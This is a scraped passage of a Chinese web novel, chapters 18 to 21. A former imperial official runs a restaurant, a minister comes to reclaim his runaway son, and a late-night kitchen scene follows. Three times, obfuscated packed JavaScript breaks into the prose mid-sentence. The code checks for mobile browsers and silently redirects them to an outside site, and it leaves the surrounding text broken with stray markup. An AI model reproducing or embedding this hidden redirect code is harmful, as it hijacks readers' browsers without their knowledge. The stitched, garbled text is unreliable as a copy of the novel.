既然不会,那就要多学习,好记性不如烂笔头嘛,疑似四书五经读傻了的杜少仲如是想到。 翌日午间,酒楼生意一如往常地好,入秋了程六水思量了一揽子汤汤水水的菜式,秋日燥得很,要是不来些清润滋补的汤来,那定是哪里都不舒服的。 一个个小木牌挂着菜式,那涂了红点子的木牌就是本季上的新菜式,食客们定睛一瞧,好家伙板栗炖鸡汤,莲子猪肚汤,莲藕肉饼汤,哪个都想尝尝啊,程小厨娘的手艺可是一绝。 而这些食客里,有个中年男子格外显眼,他既不急着品鉴美味佳肴,又不瞧瞧楼外如画秋色,只是定睛看着墙上挂着的画作,久久亦未语。 18. 第 18 章 “您的凉拌三丝来了。”马陶陶端着冷盘来到了二楼小雅间里,谁知一推开门就见这位食客非但没有坐在椅子上,反而神情严肃地在屋子里踱起步来,一把长须打理地极为美观妥帖。虽瞧着有些年纪了,但眼角岁月侵蚀的纹路难掩其儒雅之气。 “放那吧。”这中年男子愣了半晌才答道,视线却还在那墙上刚刚装裱好的金桂图,笔法飘逸清隽,寥寥几笔便将金桂的风姿跃然纸上,甚至轻轻一嗅好似就能在墨香中闻到甜香。 “这幅金桂图是我们这有名的杜画师前几日画就的,您若是有意多加品鉴收藏,我可叫杜画师前来。”马陶陶放下冷盘,走到中年男子身前,轻声说道。 而她眼睛却没闲着,十金方得一匹的暗竹丝锦,油润透光的暖白玉雕刻成了松柏样式,栩栩如生的一看就是京城周福庄的手艺,再观其言谈举止不似寻常市侩商人,一看便是为官做宰掌控大权之人。 马陶陶挑眉未语,心中暗暗浮现了三个大字“冤大头”,这么个有钱人来买画,那肯定是高高地给价的。 这买的能是画吗?这买的是风雅,是情操,是那一缕留在画卷上的秋意! 而这中年男人听到“杜画师”三字,便皱起了眉头来,白面脸似是愿意又似是不愿,颇有情怯犹豫之感,片刻后才有开口道,“不必了,先上菜吧。” “得嘞,要是有什么需要您再叫我。”马陶陶倒也无甚可惜,利落地继续跑堂了,买卖不成仁义在,这生意啊哪能一蹴而就,定是要慢慢做细细来,才能在关键时刻见真章的。 马陶陶又颠颠地跑到后厨,催食客的板栗炖鸡汤去喽,“六水,又来一份板栗炖鸡汤!” “来了来了,这就好了。”程六水在后厨忙得团团转啊,转身就掀开了砂锅盖子,这鸡汤鲜得能吞舌头,甜得心里都得流蜜了。 从江陵山里收来的走地鸡,肉质极为紧实,不亏是天天在山上健身马拉松的鸡,就是不一样。而那板栗亦是现摘的,今秋山上刚熟透了的板栗,一颗一颗从绿毛毛里掉落,全被程六水给包圆了。 等过些时候更冷些,就拿大铁锅做糖炒栗子,一个个裂开了口露出金黄甜蜜的板栗仁,程六水一定要吃上三斤! 至于现在这锅板栗炖鸡汤,除了走地鸡和板栗,还有许多滋补的食材,什么大枣枸杞黄芪俱在其中,用料十分实在。客人们心里都是有杆秤的,喝过一次便知滋味好还实在,自然会来第二次第三次。 金黄鸡汤被盛进了汤盅里,那红红的枸杞与大枣在鸡肉鸡腿鸡翅中,格外令这盅板栗炖鸡汤赏心悦目,连马陶陶瞧着都食指大动,撒娇地对着程六水说,“我晚上也要喝。” “好,晚上炖一大锅全给你喝。”程六水被这个小馋猫逗笑了,任由马陶陶在自己身边叽叽喳喳地说些有的没的,手中的活计照样干着,酒楼生意是愈发红火了,她是一刻也停不下来啊。 但这耳边的话却愈发的不对劲起来呢?不吃饭光看画的中年男人,还八成是个当官的,这不对很不对。 她低语了一番,马陶陶眼眸中闪过些震惊,随后头也不回地赶忙跑去前厅了,而一旁还在打酒做饮子的杜少仲,满脸狐疑地看向了两人,他那往日里瘦弱的手臂竟大了一圈,撸起袖子捶打果子时异常明显。 “小孩子家家看什么看,还不干活去。”程六水掂着大勺道,灶火旺得都快烧红了她的脸。 “没大没小的,我比你大好不好,你们俩刚才又背着我说啥呢?”杜少仲撇嘴不满道。 “略略略~就不告诉你~”程六水偏偏还摇头晃脑的,瞧着就气人得很,杜少仲恨不得把那果子直接塞她嘴里。 而张清寒正在替本酒楼的跑堂马陶陶干活,他穿梭在一桌一桌的食客间,这个要加菜那个要结账的,差点就忙得脚打后脑勺了,好家伙是得招个人了不然他们五个早晚累死。 张清寒向来知晓自己在武艺上有些天赋,没想到经商一道竟也融会贯通,六水常说的词叫什么来着,对他真是“天菜”。 手脚和脑子都不停的张东家一回身,哐当就撞上了急三火四回归岗位的马陶陶。 “你这么着急做什么?”张清寒依旧伴着张宛如“面瘫”的俊脸道,实际心里都吓得一忽悠一忽悠的,连声几句哎呀妈呀,毕竟谁在自夸的时候被打扰都得吓个够呛。 马陶陶赶紧踮起脚尖凑近耳语着,张清寒听后瞬间皱紧了眉头,这人他应当认识。 “你不用管了,好好招呼客人吧,不许再去后厨吃花生米。”张清寒训道。 “我没吃啊真的没吃。”马陶陶嘴硬道,但她嘴角的紫红花生皮不是这么说的。 张清寒转身便向楼上雅间走去,倒是不急不躁一步一步迈得愈发沉稳,不知是不是马陶陶的错觉,从这背影看东家与方才仿若判若两人。 “咋地了?”一浑厚男声忽然冒了出来。 “乔四方你是要把我吓死啊?”马陶陶缓缓转过身来,她也被吓了一跳三魂都要少了七魄了。 “东家是不是摊上啥事了?”乔四方憋着嘴,只能小心翼翼地给马大小姐顺气,他端着一摞都快到房梁的碗过来,全是方才他在后院洗的了,老干净了。 马陶陶赶紧接过他手上的碗,生怕乔四方一个不小心把碗打碎了,这人真是的看热闹都不好好干活了,她要恶狠狠地谴责他。 “东家这走得多板正啊,怎么会摊上事呢。”她边摆碗筷边说道。 “有的人越是遇上事,行事越沉稳,东家就这样。”乔四方小声道。 “你怎么知道?”马陶陶疑惑道。 乔四方的思绪飞到了不甚久远的回忆里,瓢泼大雨中他跟着手持长剑的东家,雨水冲刷了猩红的液体,渡边府邸上青石板路依旧一尘不染,只不过一位名叫渡边大桑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16409410|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使臣再也未能睁开眼。 他是斗兽场走出来的奴隶,死人堆里爬出来被洪泽会选中的杀手苗子,见过数不清的武功招式,或野蛮残暴或潇洒利落,但乔四方始终记得那夜皇城司的剑太快了,快到不过须臾之间就斩杀了心怀异心的渡边。 而更令乔四方难忘的是,皇城司的背始终挺拔端正,如同雪山上一株千年古梅,冰凌雪泊间自有风骨。 张清寒自然不知有人在背后蛐蛐自己,他步子迈得有多稳心里就有多烦,再多再难的案子总是有解决的法子的,硬的不行就来软的,软的不行就来歪的,但做官这许多年来,他最怕的就是惹上难缠的读书人。 三声敲门后,屋内传来了应答声,这声音更是令张清寒异常熟悉,他想要不还是换个人来,也不必非他不可的。 谁知那中年男人竟自个儿开了门,一看张清寒都要迈开腿跑了,忽而笑道,“张老弟怎么见了我就跑,莫不是做了什么亏心事有愧于我吧。” “。。。。。。”张清寒只得皮笑肉不笑地进了雅间,将门关得严严实实的才接着说道,“杜尚书别来无恙,这一向可好啊?” “好自然是好,朝中没了政敌可真是大快老夫之心啊,就是不知那政敌竟还将老夫的独子藏了起来,这叫什么?祸心暗藏!用心狠毒!这是要老夫绝后啊。”杜相宜嘴角沁着一抹标志性的老狐狸笑,一双眼紧紧盯着张清寒。 张清寒也跟着笑了,“杜尚书这就是在说笑了,您老在朝中可是数一数二的好人缘,别说是政敌了,就是背后说您坏话的人都没有,我这前皇城司使最是清楚了。” “那可不,皇城司使管得别人,可管不住自己啊,你说是吧张老弟?”杜尚书笑意渐冷。 张清寒已然有些不耐烦了,他决定收回自夸是“天菜”的称号,在官场周旋上他确实无甚天赋,甚至现下就想从外面拿根拖把棍子,给这老匹夫一棍子闷晕,打包丢回京城。 这年头,能动手就别吵吵,老匹夫说什么说,好像就他会说话似的。 “吃菜吃菜,这菜再不吃就凉了。”张清寒憋了半天,也就憋出了这么句话,咋整啊那杜少仲确实是在他这呢,心里些许愧疚,实在是下不去手给他一闷棍。 杜尚书低头一看,八仙桌上除了椒盐花生米就是凉拌三丝,还有一瓮桂花酒再无其他,“这菜有热的吗?” “我去给您催去!”张清寒如同那听见了大赦天下的死刑犯,大长腿嗷嗷就是蹽啊,也不管三七二十一了。 后厨里,板栗炖鸡汤,千张肉,糖蒸茄再来个清炒时珍,菜早就出锅了。 张清寒看着杜少仲,杜少仲看着程六水,程六水看着张清寒,三个人面面相觑,没一个人敢上去送菜的。 已然知晓杜少仲身世的程六水不禁摇头暗叹,果然三角形是最稳固的形状,他们仨就这么大眼瞪小眼瞪到杜尚书饿死得了。 19. 第 19 章 程六水解下了自己的穗丝小围裙,白了一眼身后躲躲闪闪的张清寒,又瞪了下凄凄惨惨的杜少仲,实在无奈地摇了摇头,果然男人是靠不住的。 这俩人一个是当官的,另一个是当大官的,到关键时刻没一个中用的,还不如她这么个厨子好使呢。怕什么呀?有什么好怕的,兵来将挡水来土掩,这世上就没有过不去的事,能过去的都不算个事。 程六水端着菜盘子,从容不迫地朝着二楼雅间走去,轻敲了两声门便推门而入了。 “客官,这是您方才点的板栗炖鸡汤,千张肉,糖蒸茄,还有清炒时珍,您请慢用。”程六水端着甜滋滋的笑容,露出了标准的八颗小白门牙。 杜尚书眼看着桌上的菜都上齐,不禁冷笑道,“你们这小店人还挺多,这一会儿换了三个人上菜啊。” “客官说笑了,小店重新开张没多久,总共也就五个人忙活,您要是没别的吩咐,小的就退下了。”程六水不卑不亢道,她一打眼便看出杜少仲的亲爹和那杜少仲如出一辙,是个讲道理明是非还颇具书生意气的人物,顿时心里那三分怕俱都消散了。 “咣当”一声,一个沉甸甸的绸钱袋直接砸到了程六水面前,“你在这待着,直到有人进来换你。” 程六水震惊地眉毛都要翻到后脑勺去了,不一样父子俩还是不一样的,还是老的好啊,老的会用钱砸人,“客官未免也太侮辱人了吧,你以为区区点散碎银子就能砸得动我?” 程六水努力坚守着混江湖讲义气的底线,虽然自己很缺钱,但绝对不能为了银子丢了江湖道义,她只能扬起高贵的下巴假装不屑一顾道。 “里面有十金。”杜尚书轻声道,说话时还摩挲着茶盏,活脱脱就是个老狐狸。 十金?程六水这回不仅眉毛翻没了,那眼睛都瞪得溜圆,十金就是二百两白银啊,她的小金库里原本是有六两八文钱的,前几天去置办秋装和小绒花簪子,又花了二两银子,现下只剩四两八文钱了。 她一月的工钱是二两,一年就是二十四两,得干将近十年才能有这二百两,还得是自己不吃不喝的情况下。 “侮辱我吧,我愿意被您侮辱,这午饭您要是吃不够,我再给您做晚饭去,我今天还就不走了,您看是您有钱还是我有时间。” 程六水是很想讲江湖道义是没错了,但她还是更喜欢冒着金光的金子,夺目耀眼闪闪发光,这世上没有人能够抵抗住它的诱惑。 要是可以,程六水除了这十金,还想要金项圈金簪子金手镯金臂钏金戒指,就算不戴就摆在妆匣里也是一道最为靓丽的风景啊。 杜尚书倒是未置可否,拿起筷子随口尝了口清炒时蔬,说是时蔬其实就是切得薄厚适中的藕片,木耳再加上萝菔,甜豆大火煸炒一会,撒上些清酱盐粒便能出锅了。 这道菜随处可见无甚稀奇的,可杜尚书这一入口便尝出些门道来,清淡却入味,火候也炒得恰到好处,这几样时蔬瞧着简单,其实烹到十成熟的火候各不相同,要厨子极为熟悉食材的特性,烹炒时又用了心才能有如此味道。 他暗自点头,随后又夹了片肥而不腻的千张肉,入口便一抿就化,红糖金酱的风味混合着淡淡腐乳味,形成了一种极为独特的味道,将那薄薄的五花肉片激发出了纯粹的肉香,又不带一丝荤腥气,实在是难能可贵。 京城杜府里也有不少好厨子,杜尚书本以为他们做的千张肉已然是不错了,不曾想江陵这么个小小酒楼还有这等能人做得更好,没十年功夫定然是不成的。 “客官您再尝尝这板栗鸡汤,是小店的时令特色。”程六水还殷勤地盛了碗鸡汤,这回笑得眼睛都眯成一条缝了。 杜尚书拿汤匙轻轻这么一拨弄,便知这汤都无需尝定是鲜美异常了,清润金黄的鸡汤送入口中时,他那风尘仆仆赶来抓儿子的疲惫仿佛一瞬间消散了,只余下板栗的清甜与走地鸡的鲜美。 这一口将他置身于风景秀丽的山峦之上,栗子树随风摇曳着,秋景秋意尽收眼底,自然还有这秋味。他忍不住又抬头看向了墙上那幅金桂图,一时间心内五味杂陈,竟说不出话来。 杜尚书还在一会儿品鉴美食一会儿伤春悲秋着,雅间外却又是另番模样。 酒楼的食客们渐渐散去,大堂早就没了人,大门关上暂不接客了。酒楼四人小心翼翼地趴在雅间门外,生怕听不到屋内的声音。 “六水怎么还不出来?”杜少仲听了半天什么也没听到,这瓦工木匠师傅用料也太实在了,这么厚的墙谁能听到啊。 “她被收买了。”乔四方趴在上面,轻声答道。 “被谁收买了?你怎么听得见?”杜少仲捏着嗓子细声细语问道。 “我耳朵比你好使呗,你也不看看我这招风耳。”乔四方一边趴着一边还用手拨楞着自己的软耳根,活像两把小圆扇。 “你可别显摆你那招风耳了,还没说呢被谁收买了?”马陶陶倒是着急了,跟在后面听墙角是干听也听不着啊。 “杜尚书。”张清寒语气冷淡道,六水这个小丫头片子人不大,全掉钱眼里了。这以后还得了,别到时候被人轻易就拿银钱骗走了,他须得看得再严实点。 “我爹?我爹还说啥了?”杜少仲虽然不敢进去面见父亲,但还是极为关心父亲的近况的,生怕父亲渴了饿了困了,就是不怕父亲被自己气死。 “没说啥,光吃了,吃得我都饿了。”乔四方咽着口水道,往常这时候都放饭了,饿死他了快。 “饿了吃点。”一只白嫩的小手伸到乔四方面前,乔四方两眼放过盯着手。。。里的椒盐花生米。 “陶陶你又去后厨偷吃。”张清寒轻咳训诫道。 “六水给的,六水喜欢我才给我吃的,你嘛,她不喜欢就不给你吃。”马陶陶利嘴尖牙地反击道。 “你。。。”张清寒还真被噎得说不出话来,六水确实没给过自己零嘴吃,难不成真是不喜欢他?他近日里也没得罪六水呀。 “嘘!里面又有动静了。”乔四方那招风耳贴得离墙面极近,仔细听着。 屋内,程六水惊呆了傻眼了就差崩溃了,脸上那标准的八颗牙笑容还来不及收起,眉毛就又直接被吓成了八字眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16416467|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谁能告诉她,一个好端端的尚书大人为什么喝着喝着鸡汤就哭了,哭得这叫个老泪纵横,不知道的还以为是自己又给人下药了呢。 “你哭啥啊?”程六水战战兢兢地走近了些开口问道,探头探脑地观察着,她也不记得自己在汤里加了什么特别的“食材”呀,难不成是顺手放错东西了?应该。。。不能吧? 杜尚书情难自抑哽咽地都说不出话来,只能用手指了指汤,又指了指画,那脸憋得通红,活像是一口气喘不过来,就没下一口了似的。 汤里有毒?画里有毒?程六水吓得不行了,生怕真把人给毒死了,直接跑到门外喊人。 结果一推门,一群人全在门口做贼一样蹲着呢,“快进去吧,这杜尚书要不行了。” “父亲!父亲!”杜少仲不顾一切地跑了进去,跪在杜尚书跟前,一把鼻涕一把泪急得团团转。 杜尚书瞪着圆目,血丝在眼中异常明显,即使是喘不上来气,也还是拉着儿子死死不放手,这是他的儿子他的希望杜氏的希望。 “父亲你怎么了?父亲你说啊父亲!”杜少仲抱着杜尚书的大腿哭喊着。 张清寒一言不发,快速走到了杜尚书的身后,一掌下去那清甜大颗的板栗直接从杜尚书的嗓子眼里飞了出来。 “咳咳咳咳咳。”杜尚书咳了好一会儿,脸不红了泪不留了连气都喘匀了。 “为父没事,就是少仲啊你该有事了。”杜尚书给自己顺了顺气,猛地站了起来,吓了还在抱着他大腿的杜少仲一大跳。 “那个,尚书大人慢聊,我酒楼还有事没忙完。”张清寒眼见情况不对,立时开口就撤,清官难断家务事啊,还是三十六计走为上。 “嘿嘿我灶台火还烧着,我再给大人添几个菜去。” “哎呀妈呀我账还没算完呢。” “我得去大堂收拾了,这花生米少仲你留着吃啊。” 三五瞬,雅间里就空了门缝虚掩着,屋里只余杜家父子二人。 “你们说少仲会怎么样?”程六水好奇问道,这回换她趴在门外听墙角了,实在是太爽了。吃瓜是人类的本能,人人都是猹。 “杜家家规森严,少仲他虽是独子却也免不了家法从事,轻则打得十天半月下不了床。”张清寒道。 “那重的呢?”程六水问道。 “一年半载下不来床。”张清寒回道。 乔四方转头比了个手势,大家齐齐不发声了,这是里面又有动静的意思了。 “少仲,你怎么黑了瘦了,这手上胳膊上怎么还有伤疤呢?你说是不是那张清寒囚禁你折磨你,那家伙就不是个好东西,为父要打得他一年半载下不来床!”杜尚书满眼心疼地看向自家那从小十指不沾阳春水的儿子,真是心肝都在颤啊。 屋外所有人不约而同地默默后退一步,毕竟谁也不想被朝中二品大员误伤到。 “东家你真囚禁过少仲啊?”程六水看热闹不嫌事大道,眉飞色舞的小表情都快飞到天上去了。 “???”张清寒又想去找楼下的拖把棍了。 20. 第 20 章 张清寒一口气差点就要背过去,对着眼前一张张狐疑的面孔,只能黑着张脸摇了摇头,话都不愿多说一句。 而屋内,杜少仲这才松开了自家父亲的大腿,急忙解释道,“父亲,清寒是好人,他是真心帮我的,他让我做什么我都心甘情愿。” “什么?所以说他真的对你行了不轨龌龊之事?”杜尚书一下子就瘫倒在了圈椅里,杜家的希望啊杜家的门楣啊,毁了全毁了。 “这都哪跟哪啊父亲,我与清寒那是兄弟之谊,我黑了瘦了都是这儿历练的,前几个月我还和大家一同盖房子呢,当真是有趣得紧,我从小到大都过得没这些时日有意思。”杜少仲眼看着自家父亲的思路愈发跑偏,赶忙出言给拉回来了。 杜尚书不说话,只是细细瞧了瞧儿子的神情,这才放下心来,想来是没被那属蜂窝煤的张清寒教唆了去。 想着想着,杜尚书那因见着杜少仲逐渐缓和的面容骤然又紧绷了起来,他又站起来了,以迅雷不及掩耳之势直接提溜住了杜少仲的耳朵。 “不孝子你给我跪下!” “父亲?”杜少仲哪敢不从,虽不知父亲为何变脸如此之快,却还是老老实实地跪在地上了。 “你好大的胆子,辞官都越过吏部辞到皇上跟前了,稍有不慎你知不知道你是要脑袋落地的。”杜尚书思及此事更是气极,随便拿个桌上的碗碟就要甩到杜少仲身上。 结果一不小心拿到了还剩些许板栗炖鸡的汤碗,杜尚书一瞬间竟犹豫了,这手是放也不是不放也不是,一点子老子训儿子的气势都没了。 只能虎头蛇尾地端着汤碗喝了起来,心里暗叹道,“真香啊,幸亏没给摔到地上,那得多可惜啊。” 杜少仲倒是没察觉到父亲心里还有这么多个弯弯绕绕,他仰着头面带委屈地解释道,“那不是您阻挠我辞官吗?哪次递到吏部的辞呈不都被拦住了吗?儿子要不是无路可走,怎会如此行事。” “你这意思是还怪起为父的不是了?照你这么说,我就得去找吏部尚书给你加急办,辞呈头日送上去,第二日你就打铺盖走人是吧?”杜尚书没好气道。 “我可没这么说,您要是愿意的话,也不是不行。”杜少仲撇嘴道。 “嗬你个小兔崽子,给你三分颜色你就想开染房是吧?给你个杆你还真往上爬,我这次来就是带你走的,回去自有前程等着你,不愿做那翰林就不做,为父给你寻个外派的差事,离了京城天高海阔,同你现在一样自由。” 杜尚书也着实是煞费了一番苦心的,这事怎会似他说的这么容易,毕竟是个上达天听的事,只怕得舍下老脸动用无数关系,甚至还得求到皇帝跟前,才能将将办成。 “父亲,我不是不愿做翰林,我是不愿做官,人各有志,您就随我去吧。这天下如此之大,您就让我闯一闯,我自小便知我是杜家的儿子,行事做派皆不能出错,考学辩经定是要出色出挑的,这才不算是辱没了杜家的门楣。 自我记事起,便是卯时起天不亮就去了学堂,学到戊时方能归家,寒冬酷暑从不曾间断,四书五经诗词歌赋,乃至君子六艺,我是一日都不敢懈怠,您知道我如此听话是为了什么吗?”杜少仲挺直了腰道。 他还不等杜尚书说话,便又接着道,“我就想让您夸夸我,偌大的杜府母亲早早就去,只有你我二人是血脉至亲,可就是这血脉至亲,一月里只能一同吃上一两回饭。我就这么盼啊盼,盼到我中举盼到我入朝为官,我不想盼了父亲。不是我不需要您了,而是我找到我自己了,我用了二十年才明白,别人求的未必是自己求的。 世人皆道燕雀安知鸿鹄之志,可没人问过鸿鹄愿不愿意做鸿鹄,也没人想过燕雀压根就不理会世人的非议。人活一世,无愧于天地无愧于父母更要无愧于自己,儿子现在要做的便是无愧于自己。”杜少仲字字掷地有声,目光前所未有的坚定。 杜尚书半晌都没说出话来,眼前的儿子与十几年那个牙牙学语的孩童渐渐重合了起来,鼻子嘴巴生得都像他,眼睛长得似少仲的母亲,秀气斯文。 他真的做错了吗?杜尚书念了许多年圣贤书又教了别人许多年圣贤书,君君臣臣父父子子,父义子孝,他已然将能够为少仲做得都做了,可这却不是少仲想要的,那少仲想要的是什么? 杜尚书沉默着将头偏向窗外,秋高气爽垂柳轻拂在河面上,微风带来了不远处的金桂香,他与少仲的母亲就是在这样的时节相遇的,高门大户出来赏秋的翩翩公子与茶肆家的小女儿。 忽而他笑了,他一直以为儿子这场闹得人尽皆知的离家出走是一场迟来的反叛。其实不然,深思熟虑的反叛不是反叛,是顺从本心的呐喊与抗争,是必须要得到某个人做到某件事的执着,正如当年他与发妻的婚事。 “起来吧。”杜尚书轻声说道,仿佛一瞬间老了许多。 但杜少仲不敢起来,小心翼翼地留意着父亲,不会是真把父亲气着了吧?怎么脸色这般煞白,这脸一会儿红一会儿白的,莫不是真被自己气病了,“父亲您没事吧?” “无事,少仲喜欢酿酒是吧?”杜尚书问道。 “是,这就是儿子今秋刚酿的酒。”杜少仲赶紧起来给父亲倒了一盏。 杜尚书轻轻抿了一口,入口甘甜爽滑,不燥不腻,很好的桂花饮,是他很好的儿子酿出来的。 “想做什么就去做吧,为父不拦着你了。”杜尚书松口道,他为他这个儿子骄傲,没有多少人能挣脱出世俗的枷锁与牢笼,而少仲他不知前路不知来日,却仍能做到,有如此纯直的儿子是他杜相宜的幸事。 “真的吗!父亲你不会是气糊涂了吧?”杜少仲开心之余又惴惴不安道。 “你糊涂你老子都不会糊涂,但为父还有一件事交待你做。”杜尚书抚着胡须,老谋深算道。 “何事?”杜少仲心情甚好问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16422187|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你做什么我不管,但这个娶妻生子可不能忘了,你这都到岁数了,去岁给你定的亲,你辞官跑了为父也只能登门去女方家里退亲了。如今你在江陵也安顿下来了,为父看啊这里山清水秀,人自然也是错不了的,你可得上点心啊。”杜尚书抖着两捋胡子,比比划划道。 “父亲,那个我还有许多活没干呢,我先走了走了,我们明年啊不后年再说啊。”杜少仲这回跑得倒快,胳膊腿一个劲地摆,生怕再听到他爹嘴里说出些什么来。 “行了行了,你就拖吧,去把那张清寒叫进来。”杜尚书无奈道。 “好嘞好嘞。”杜少仲忙不迭屁颠颠地叫人去了。 这回张清寒进去,房门终于管得严实了,并且勒令所有人不许继续听墙角,伙计们只能敢怒不敢言地继续做工了。 无人知道他们聊了什么,只知当日下午杜尚书行色匆匆地返京去了,临行前又细细嘱咐了杜少仲八百句话。 深夜时分,程六水在自己的榆木床上辗转反侧,这两日折腾来折腾去的,白日实在是有些疲乏,这晚上吧耳边就总有嗡嗡声,不是叫唤着什么麻辣烫麻辣拌麻辣香锅,就是吵吵着酱牛肉烤猪蹄碳烤五花肉的。 程六水被自己的馋虫勾得实在是睡不着,只得迎着一轮弯月,悄悄摸摸去厨房找吃的。 她踮着脚尖极为小心地经过了马陶陶的房门口,可不能吵醒陶陶,吃夜宵最大的快乐就是吃独食嘿嘿。 到了厨房门口,程六水忽然察觉不对了,怎么厨房门缝里传来一股糊巴味呢,这是绝不可能出现在她厨房的味道,有贼! 她顺手拿了根棍子,顺着门缝就推开了门,一根棍先进了厨房,随后是个睡得毛茸茸的小圆脑袋。 只见白日里在宛如顶梁柱般的张东家,正坐在灶台旁小板凳上偷吃东西,极为白皙的手上拿着个乌漆麻黑的“蜂窝煤”? “东家,就算咱再困难,也不能吃蜂窝煤吧,况且这蜂窝煤还挺贵的,你还不如吃点馒头呢,那玩意还顶饱。”程六水放下棍子,关上厨房门走了几步,坐在一旁小板凳上摇头晃脑道。 “。。。我就是在吃馒头。”张清寒嘴里那口“蜂窝煤”是吃也不是不吃也不是,最后还是咽下去,才说道。 “你家馒头怎么是黑的?”程六水两只圆溜溜的眼睛满是揶揄。 “烤糊了。” “东家的厨艺真好,点石成金,都能把一文一个的馒头变成二十文一块的蜂窝煤了。”程六水没心没肺地笑道。 张清寒一时语塞,只想堵住这小丫头的嘴,许是夜半三更,刚刚睡醒还不甚清醒,身体动得比脑子还快,直接伸手捂住了程六水喋喋不休气死人的小嘴巴。 这一捂,张清寒才意识到自己做了什么,俊俏白皙的脸颊瞬间绯红一片。 “唔唔唔?”程六水倒是没注意到,唇舌还在努力挣扎着说些什么,悄悄濡湿了某人的手心。 21. 第 21 章 来不及扑灭的灶火烧得愈来愈旺,在静悄悄的黑夜里噼里啪啦地作响,惊得张清寒眸色渐深,眼前哼哼唧唧的六水还在张牙舞爪地费力挣脱着。 可惜张清寒力气太大了,她宛若一条刚刚脱水了的鱼,蹦跶多少下也逃脱不了陆地的干涸。 他该放手的,但他不想。 一条鲜活肥美还活蹦乱跳的鱼儿,被他攥在手心里,张清寒隐藏在心底更深的欲望在蛊惑着他,不能把这条鱼儿放走,放走会祸害别人,还不如留在身边祸害他,况且他也愿意被祸害。 “咕噜咕噜。”程六水的肚皮可不管什么蛊惑不蛊惑的,她知道人是铁饭是钢,一顿不吃饿得慌。 程六水圆溜溜的眼睛委屈巴巴地瞪着张东家,一只手还摸着瘪瘪的肚皮,无声地控诉着资本家不给人吃饭的罪行。 张清寒被瞪得心里发慌发毛,一瞬间理智回笼,麻溜儿地就放开了程六水,低下头来不说话。 “愣着干嘛?还不快给我打下手,我可不想吃你黑黢黢的馒头片。”程六水仿佛半点也未察觉方才那氛围的不对,只顾着看看做些什么能填饱肚子。 张清寒默默地跟在程六水的后面干这干那,乖巧地宛如一只鹌鹑,哪还有方才半点强势。 程六水偷偷摸摸地从厨房灶台旁的大缸里的笊篱下面,拿出了一大碗腌制极为入味的鸡块,裹满了面粉的鸡块是白日里就腌了的,葱姜蒜花椒是必不可少的,再顺来些隔壁台子上杜少仲的米酒,再来些胡椒粉莳萝粒,最后加上必不可少的盐巴和豉汁,最后再裹上一层面粉就齐活了。 这样炸出来的鸡块,满嘴喷香还有淡淡的胡椒味,好吃不腻,程六水一次能吃好几块,再一想到那酥脆都要掉渣了的鸡皮配上滑嫩嫩多汁的鸡肉,整个人都沉溺在大馋丫头的幻想中。 忽然耳边幽幽传来一声,“你什么时候腌的鸡块?” “中午啊,就等着晚上吃呢。”程六水不设防地答道,话刚说出口就觉着哪不对劲,回头一瞧那张东家冰冷的面孔审视的目光,好似是旧社会最吝啬的地主老财。 “你偷吃。” “我这不叫偷吃,厨子吃东西能叫偷吃吗?这叫光明正大地吃。” “从你工钱里扣。” “你等会儿吃不吃吧?”程六水扬起高傲的小脑袋反问道,骄矜得宛如一只抖搂着翅膀的大孔雀。 张清寒瞥了一眼碗里的鸡肉,再瞅了瞅自己做的馒头片,只能感叹人在屋檐下不得不低头,“吃。” “哼,吃就别废话,起锅烧油。”大铁锅里金灿灿的菜油不一会儿就冒起了小气泡,鸡块滑入油锅中迅速滋啦作响,炸物的香气充斥在厨房的每一个角落。 金黄酥脆的炸鸡炸得火候恰到好吃,一口下去在嘴里爆开了汁,椒盐辣椒香辛料的风味混合着鲜美的鸡肉在嘴巴里越嚼越香,好吃到恨不得吞了舌头。 张清寒吃相极其斯文且非常快,那吃起鸡叉骨就像在变魔术一样,嗖嗖嗖两下骨头没了,嗖嗖嗖两下肉也没了。 程六水更偏爱嫩嫩的鸡胸,不用吐骨头全是满满的肉,大口大口的满足,吃到一半她随口问道,“东家,你之前是大官吗?” “是。” “做什么的官啊?” “皇城司使。” “皇城司使是什么官?” “监察百官,掌管机要密报的。”张清寒口齿清晰答道,这家伙啃鸡叉骨也不耽误说话。 程六水了然于胸地点了点头,原来是干特务的,“那你为啥来这开酒楼啊。” “他们没同你说吗?”显然张清寒是知晓了自己手底下这帮伙计都是大漏勺,和程六水好得穿一条裤子。 “说了一些,但不多,我可是个尊重别人隐私的人。只知道你是个大官,少仲先前也是个当官的,陶陶哥哥是做生意的,四方是混江湖的。”程六水目光澄澈道。 “那你是做什么的?”张清寒直视着眼前的程六水,语气平淡却饱含深意。 “我是个厨子啊。” “只是个厨子吗?” 